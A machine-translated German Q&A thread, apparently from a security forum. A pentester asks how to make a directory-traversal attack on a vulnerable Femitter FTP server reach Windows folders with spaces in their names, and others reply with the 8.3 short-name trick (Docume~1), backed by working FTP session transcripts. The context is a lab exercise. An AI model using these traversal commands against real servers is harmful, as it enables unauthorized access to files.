FTP-Verzeichnis-Traversal-Angriff auf Verzeichnisse mit Leerzeichen

15

Ich führe ein sanktioniertes Pentest in einer geschlossenen Referenzumgebung durch und habe mit einem scheinbar einfachen Problem zu kämpfen, das ich derzeit nicht lösen kann.

Wenn Sie versuchen, einen Verzeichnisdurchlaufangriff auf einen anfälligen Fermitter-FTP-Server unter MS Windows auszuführen, können Sie eine LISTE im Systemstamm erstellen (Adressen und Inhaltslisten werden hier nur als Referenz geändert):

# ftp 192.168.13.22
Connected to 192.168.13.22.
220 Femitter FTP Server ready.
Name (192.168.13.22:root): 
331 Password required for root.
Password:
230 User root logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls ../../../../
200 Port command successful.
150 Opening data connection for directory list.
-rwxrwxrwx   1 ftp      ftp            0 Sep 23  2015 AUTOEXEC.BAT
-rw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 CONFIG.SYS
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 Documents and Settings
dr--r--r--   1 ftp      ftp            0 Sep 23  2015 Program Files
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 WINDOWS
226 File sent ok

Wenn ich jedoch den Inhalt eines Ordners mit Leerzeichen auflisten möchte, z. B. Documents and settings, kann ich den Verzeichnisinhalt nicht auflisten, da Leerzeichen ignoriert werden.

ftp> ls ../../../../documents and settings/
usage: ls remote-directory local-file
ftp> ls ../../../../documents\ and\ settings
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
ftp> ls ../../../../documents%20and%20settings
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents%20and%20settings not found
226 File sent ok
ftp> ls ../../../../'documents and settings'/
usage: ls remote-directory local-file
ftp> ls ../../../../"documents and settings"/
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok
ftp> ls "../../../../documents and settings/"
200 Port command successful.
150 Opening data connection for directory list.
/C:/Program Files/Femitter/Shared/../../../../documents not found
226 File sent ok

Ich habe bereits versucht, verschiedene FTP-Clients (CLI und GUI, unter Linux und Windows) zu verwenden. Entweder ignorieren sie Leerzeichen oder verbieten das Durchlaufen von Verzeichnissen.

Es wurde auch versucht, den Angriff auf Python zu skripten, indem zuerst Raw-Sockets und dann ftplib verwendet wurden, um die Befehle im HEX-Format direkt an den FTP-Server zu senden, jedoch ohne Erfolg.

Ein paar Stunden googeln ergab keine funktionierende Lösung (ja, es gab viele Optionen, die nicht funktionierten), deshalb gibt es hier jemanden, der das gleiche Problem hatte. Ziemlich sicher, dass dies nicht das erste Mal ist, dass eine solche Verzeichnisüberquerung mit Leerzeichen benötigt wird.

Aussperrung
quelle
Die Groß- und Kleinschreibung scheint für die FTP-Clients irrelevant zu sein. Zumindest der GNU / Linux-FTP-Client listet Verzeichnisse auf, in denen die Groß- und Kleinschreibung ignoriert wird.
@lockout: Groß- und Kleinschreibung ist eine serverseitige Sache und keine Client-Sache. Die Clients listen die Daten auf die gleiche Weise auf, wie der Server sie sendet, und ändern den Fall nicht.
Steffen Ullrich
1
Probieren Sie auch C: \ Docume ~ 1 \ aus.
Hund essen Katzenwelt
1
Versuchen Sie, die Leerzeichen mit \der Verzeichniszeichenfolge zu verlassen oder zu zitieren
DavidPostill
1
Ich bin froh, dass es bei Ihnen @lockout funktioniert hat. Da Sie sich die Mühe gemacht haben, Ihre Frage zu beantworten, ist es für mich in Ordnung, dass Sie sie als Antwort akzeptieren. Danke, dass du mich gutgeschrieben hast.
Hund essen Katzenwelt

Antworten:

16

Von @Dogeatcatworld vorgeschlagene Lösung zur Verwendung der Kurznotation für MS Windows-Verzeichnisse wie z C:\Docume~1\.

ftp> ls ../../../../Docume~1/
200 Port command successful.
150 Opening data connection for directory list.
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 .
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 ..
drw-rw-rw-   1 ftp      ftp            0 Sep 26  2015 Administrateur
drw-rw-rw-   1 ftp      ftp            0 Sep 23  2015 All Users
226 File sent ok

Ein wirklich guter Artikel aus der MS Knowledge Base erklärt die 8.3-Verzeichnisnotation: Wie Windows 8.3-Dateinamen aus langen Dateinamen generiert

Aussperrung
quelle
2
OSCP verstehe ich. Um Ihren Tipp zu erweitern, lassen Sie für kurze Verzeichnisse wie "Alle Benutzer" das Leerzeichen fallen und verwenden Sie "AllUse ~ 1". Haben Sie eine Möglichkeit gefunden, den FTP-Server für die interaktive Suche bereitzustellen, oder haben Sie am Ende nur Dateien nacheinander heruntergeladen?
n00b
1

Der "Kurzname" ist wirklich die alte Namenskonvention von DOS 8.3, daher sind alle Verzeichnisse die ersten 6 Buchstaben, gefolgt von ~ 1, vorausgesetzt, es gibt nur einen Namen, der übereinstimmt, zum Beispiel:

C: \ ABCDEF ~ 1 - C: \ ABCDEFG ICH BIN VERZEICHNIS
C: \ BCDEFG ~ 1 - C: \ BCDEFGHIJKL M Ein weiteres Verzeichnis

Hier ist die einzige Ausnahme:

C: \ ABCDEF ~ 1 - C: \ ABCDEFG ICH BIN VERZEICHNIS
C: \ ABCDEF ~ 2 - C: \ ABCDEFGHI-Verzeichnis ebenfalls

Quelle: Wie finde ich den kurzen Pfad eines Windows-Verzeichnisses / einer Windows-Datei?

Madsport
quelle
0

Ftp verwendet keine URL-Codierung, daher funktioniert% xx nur, wenn Sie FTP in einem Browser verwenden, der es für Sie übersetzen kann.

Versuchen Sie stattdessen, Anführungszeichen zu verwenden, z. B.: Ls "../../some dir"

Wireghoul
quelle
1
HI, wenn Sie sich die Versuche ansehen, die für die Verzeichnisüberquerung versucht wurden, werden Sie sehen, dass ich mehrere Anführungszeichen versucht habe: einfaches Anführungszeichen, doppeltes Anführungszeichen und Zurück-Häkchen. Sie funktionierten nicht, wie in der FTP-Ausgabeliste dargestellt. Die Verwendung von% 20 diente nur dazu, zu experimentieren, ob dies funktionieren würde, da verzweifelt versucht wurde, alle Optionen auszuprobieren. Natürlich funktioniert die% -Codierung in Browsern und FTP-Clients, die diese interpretieren können.
Aussperrung